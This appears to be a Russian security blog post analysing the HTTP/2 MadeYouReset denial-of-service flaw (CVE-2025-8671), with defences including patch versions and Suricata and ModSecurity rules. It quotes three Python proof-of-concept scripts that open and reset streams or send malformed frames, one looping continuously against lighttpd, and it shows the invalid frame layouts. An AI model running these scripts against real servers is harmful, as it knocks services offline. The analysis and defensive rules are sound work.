Уязвимость в HTTP/2
Уязвимость в HTTP/2
Категория: Программы Теги: Уязвимости Опубликовано: 9 сентября 2025

Уязвимость BDU:2025-09848 (CVE-2025-8671) HTTP/2

Уязвимость BDU:2025-09848 (CVE-2025-8671), также известная как MadeYouReset, представляет собой критическую уязвимость в реализации протокола HTTP/2, связанную с некорректным освобождением ресурсов. Эта уязвимость позволяет удаленному злоумышленнику вызвать отказ в обслуживании (DoS) путем отправки специально сформированных HTTP-запросов, что приводит к чрезмерному потреблению серверных ресурсов.

Анализ уязвимости

Уровень опасности: 7.5 (HIGH)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

  • AV:N (Вектор атаки: Сетевой) - Атака через сеть, удаленно без физического доступа

  • AC:L (Сложность атаки: Низкая) - Низкая сложность эксплуатации, не требует специальных условий

  • PR:N (Требуемые привилегии: Нет) - Не требуются привилегии для эксплуатации

  • UI:N (Взаимодействие с пользователем: Нет) - Не требует взаимодействия с пользователем

  • S:U (Область воздействия: Не меняется) - Не оказывает влияния на другие компоненты системы

  • C:N (Конфиденциальность: Нет) - Не влияет на конфиденциальность данных

  • I:N (Целостность: Нет) - Не влияет на целостность данных

  • A:H (Доступность: Высокая) - Полное нарушение доступности системы

Условия эксплуатации уязвимости

Для успешной эксплуатации уязвимости необходимо соблюдение следующих условий:

  1. Целевой сервер должен использовать уязвимую реализацию HTTP/2. Это включает такие популярные реализации как Apache Tomcat (версии до 11.0.10, 10.1.44, 9.0.108), Netty, F5 BIG-IP и другие.

  2. Сервер должен быть доступен по сети. Атака может проводиться как из внутренней сети, так и из интернета, если уязвимый сервер доступен публично.

  3. Отсутствие соответствующих средств защиты. Серверы без последних обновлений или без специализированных систем защиты (WAF, IPS) наиболее уязвимы.

  4. Возможность установить HTTP/2 соединение. Клиент должен поддерживать протокол HTTP/2 и иметь возможность согласовать его использование с сервером.

Технический механизм уязвимости

Основы протокола HTTP/2

HTTP/2 использует систему потоков (streams) для совместной передачи нескольких запросов в рамках одного TCP-соединения. Каждый поток представляет собой двунаправленный канал для передачи HTTP-запросов и ответов, представленных в виде фреймов. Сервер устанавливает ограничение на максимальное количество одновременных потоков (параметр MAX_CONCURRENT_STREAMS, обычно 100), чтобы предотвратить перегрузку.

Суть уязвимости CVE-2025-8671

Уязвимость CVE-2025-8671 возникает из-за несоответствия между обработкой потоков на уровне протокола HTTP/2 и фактической обработкой запросов в backend-системе. Когда сервер сбрасывает поток (отправляет RST_STREAM фрейм), на уровне протокола поток считается закрытым и освобождает слот для нового потока. Однако backend-обработка запроса часто продолжается, что создает дисбаланс.

Атакующий может использовать специально сформированные фреймы, которые вызывают ошибки протокола, заставляя сервер самостоятельно сбрасывать потоки. Это позволяет обойти ограничение MAX_CONCURRENT_STREAMS и создать неограниченное количество одновременных запросов на одном соединении, исчерпывая ресурсы сервера.

Методы атаки MadeYouReset

Исследователи идентифицировали шесть основных методов, которые могут заставить сервер сбросить потоки:

  1. WINDOW_UPDATE frame с increment 0 - явное нарушение спецификации HTTP/2

  2. PRIORITY frame с длиной не 5 октетов - несоответствие требуемой длине фрейма

  3. PRIORITY frame, делающий поток зависимым от самого себя - циклическая зависимость

  4. WINDOW_UPDATE frame, увеличивающий окно сверх максимального допустимого размера 2³¹−1 - превышение максимального размера

  5. HEADERS frame после закрытия потока клиентом - нарушение правил изменения состояний потоков

  6. DATA frame после закрытия потока клиентом - нарушение правил изменения состояний потоков

Анализ кода эксплоитов

Рассмотрим код эксплоитов для понимания работы вектора атаки с использованием этой уязвимости.

Эксплоит 1

Скрипт на Python предназначен для эвристического тестирования уязвимостей CVE-2023-44487 (Rapid Reset) и CVE-2025-8671 (MadeYouReset). Он использует библиотеку h2 для работы с HTTP/2:

# Основная функция для тестирования MadeYouReset
def made_you_reset_variation(self, authority, path="/", n_streams=100, jitter_ms=2):
    """CVE-2025-25063 heurística: HEADERS end_stream=False + небольшой jitter и RST."""
    import random
    headers_base = [
        (":method", "GET"),
        (":authority", authority),
        (":scheme", "https" if self.tls else "http"),
        (":path", path),
        ("user-agent", "h2-check/myr")
    ]
    start = time.time()
    for i in range(n_streams):
        sid = self.conn.get_next_available_stream_id()
        self.conn.send_headers(sid, headers_base, end_stream=False)
        self._send(self.conn.data_to_send())
        time.sleep(random.uniform(0, jitter_ms/1000.0))
        self.conn.reset_stream(sid, error_code=0x8)
        self._send(self.conn.data_to_send())
        self.metrics["rst_sent"] += 1
        self.metrics["streams_opened"] += 1
        if i % 20 == 0:
            self.ping()
        self._drain(0.0)
    dur = max(0.001, time.time() - start)
    self.metrics["rst_rate_per_s"] = self.metrics["rst_sent"] / dur
    self._drain(0.8)

Этот код открывает поток, отправляет заголовки, добавляет небольшую задержку (jitter), а затем сбрасывает поток. Повторяя этот процесс многократно, он пытается обойти ограничения сервера на количество одновременных потоков.

Эксплоит 2

Данный эксплоит специально нацелен на сервер lighttpd:

def poc_dos_http2(host, port=8080, count=20, continuous=False):
    try:
        import h2.connection
        import h2.config

        s = socket.create_connection((host, port))
        config = h2.config.H2Configuration(client_side=True)
        conn = h2.connection.H2Connection(config=config)
        conn.initiate_connection()
        s.sendall(conn.data_to_send())

        console.print("[*] Envoi de flux pour provoquer DoS (PoC)...", style="success")

        i = 0
        while continuous or i < count:
            stream_id = conn.get_next_available_stream_id()
            conn.send_headers(stream_id, [
                (":method", "GET"),
                (":path", "/"),
                (":scheme", "http"),
                (":authority", host)
            ])
            conn.reset_stream(stream_id)
            s.sendall(conn.data_to_send())
            time.sleep(0.1)
            i += 1

        s.close()
        console.print("[*] PoC terminé.", style="success")

Этот код устанавливает HTTP/2 соединение, затем многократно открывает и сбрасывает потоки, пытаясь исчерпать ресурсы сервера.

Эксплоит 3

Третий эксплоит тестирует шесть различных векторов атаки:

def do_attempt(vector_name, attempt_idx, path):
    # ...
    try:
        if vector_name == "V1_WINDOW_UPDATE_ZERO_STREAM":
            frame_window_update(sock, stream_id, 0)
        elif vector_name == "V2_WINDOW_UPDATE_ZERO_CONN":
            frame_window_update(sock, 0, 0)
        elif vector_name == "V3_DATA_AFTER_END":
            frame_data_after_end(sock, stream_id)
        elif vector_name == "V4_HEADERS_ZERO_LEN_AFTER_END":
            frame_headers_zero_len(sock, stream_id)
        elif vector_name == "V5_PRIORITY_BAD_LEN_AFTER_END":
            frame_priority_bad_len(sock, stream_id)
        elif vector_name == "V6_CONTINUATION_WITHOUT_HEADERS":
            sid2 = h2c.get_next_available_stream_id()
            frame_continuation_without_headers(sock, sid2)
        # ...

Каждая из этих функций отправляет специально сформированные фреймы, которые нарушают спецификацию HTTP/2 и могут вызвать сброс потоков сервером.

Вредоносные HTTP-запросы

При атаке MadeYouReset злоумышленник отправляет специально сформированные HTTP/2 фреймы. Вот примеры таких фреймов:

WINDOW_UPDATE с нулевым инкрементом

WINDOW_UPDATE Frame {
  Length: 4,
  Type: 0x8,
  Flags: 0x0,
  Stream ID: 1,
  Window Size Increment: 0  // Нарушение: не может быть нулевым
}

PRIORITY с неправильной длиной

PRIORITY Frame {
  Length: 6,  // Нарушение
  Type: 0x2,
  Flags: 0x0,
  Stream ID: 1,
  Priority Data: <6 bytes>  // Нарушение
}

DATA после закрытия потока

Клиент отправляет END_STREAM флаг, затем дополнительный DATA фрейм:

HEADERS Frame {
  Stream ID: 1,
  Flags: 0x1 (END_STREAM),  // Поток закрыт
  Headers: [...]
}

DATA Frame {
  Stream ID: 1,  // Нарушение: поток уже закрыт
  Flags: 0x0,
  Data: <payload>
}

Важно отметить, что уязвимость не позволяет напрямую получить доступ к данным или выполнить произвольный код, но ее эксплуатация приводит к полному нарушению доступности.

Методы защиты

1. Обновление программного обеспечения

Наиболее эффективным методом защиты является своевременное обновление уязвимых компонентов:

  • Apache Tomcat: обновить до версий 11.0.10, 10.1.44 или 9.0.108

  • Другие реализации: следить за обновлениями от соответствующих вендоров

2. Настройка WAF/IPS правил

Для обнаружения и блокировки атак типа MadeYouReset можно использовать следующие правила:

Правило для Suricata:
alert http any any -> any any (msg:"CVE-2025-8671 - Possible HTTP/2 MadeYouReset Attack"; flow:established,to_server; http2.frametype:WINDOWUPDATE; byte_test:4,=,0,0,relative; content:"|00 00 00 00|"; within:4; metadata:service http; classtype:attempted-dos; sid:202586711; rev:1;)

alert http any any -> any any (msg:"CVE-2025-8671 - HTTP/2 PRIORITY frame with invalid length"; flow:established,to_server; http2.frametype:priority; http2.priority:>5; metadata:service http; classtype:attempted-dos; sid:202586712; rev:1;)

Данные правила можно найти в моем наборе правил (https://alekseycheremnykh.ru/post/moj-nabor-pravil-k-suricata/).

Правило для ModSecurity:
SecRule REQUEST_METHOD "@rx ^(?:POST|GET|HEAD|PUT|DELETE|OPTIONS|TRACE)$" \
    "id:1000003,\
    phase:request,\
    t:none,\
    msg:'Potential HTTP/2 MadeYouReset Attack',\
    logdata:'Matched %{MATCHED_VAR}',\
    tag:'application-multi',\
    tag:'language-multi',\
    tag:'platform-multi',\
    tag:'attack-dos',\
    tag:'paranoia-level/1',\
    tag:'OWASP_CRS',\
    tag:'capec/1000/210/227/469',\
    ver:'OWASP_CRS/3.4.0-dev',\
    severity:'CRITICAL',\
    setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"

3. Конфигурационные изменения

  • Ограничение скорости обработки фреймов: Настройте ограничения на количество RST_STREAM фреймов и других управляющих фреймов в единицу времени.

  • Мониторинг аномальной активности: Внедрите системы мониторинга, отслеживающие необычно высокое количество сброшенных потоков (reset streams) или ошибок протокола.

  • Использование HTTP/3: Рассмотрите переход на HTTP/3 (QUIC), который менее подвержен данному типу атак благодаря отличиям в design протокола.

4. Размещение защитных систем

WAF/IPS системы должны быть размещены на границе сети, перед уязвимыми серверами. Для максимальной эффективности рекомендуется:

  • Перед балансировщиками нагрузки: Для фильтрации трафика до его распределения между серверами

  • На границе сети: Для блокировки атак извне до достижения внутренних серверов

  • В режиме reverse proxy: Для полного контроля над входящим HTTP/2 трафиком

5. Проактивный мониторинг и обнаружение

Внедрите систему мониторинга, которая отслеживает следующие аномалии:

  • Необычно высокое количество RST_STREAM фреймов

  • Большое количество ошибок протокола

  • Резкий рост потребления CPU и памяти на серверах

  • Аномальные шаблоны в количестве одновременных HTTP/2 потоков

Алексей Черемных Алексей Черемных
689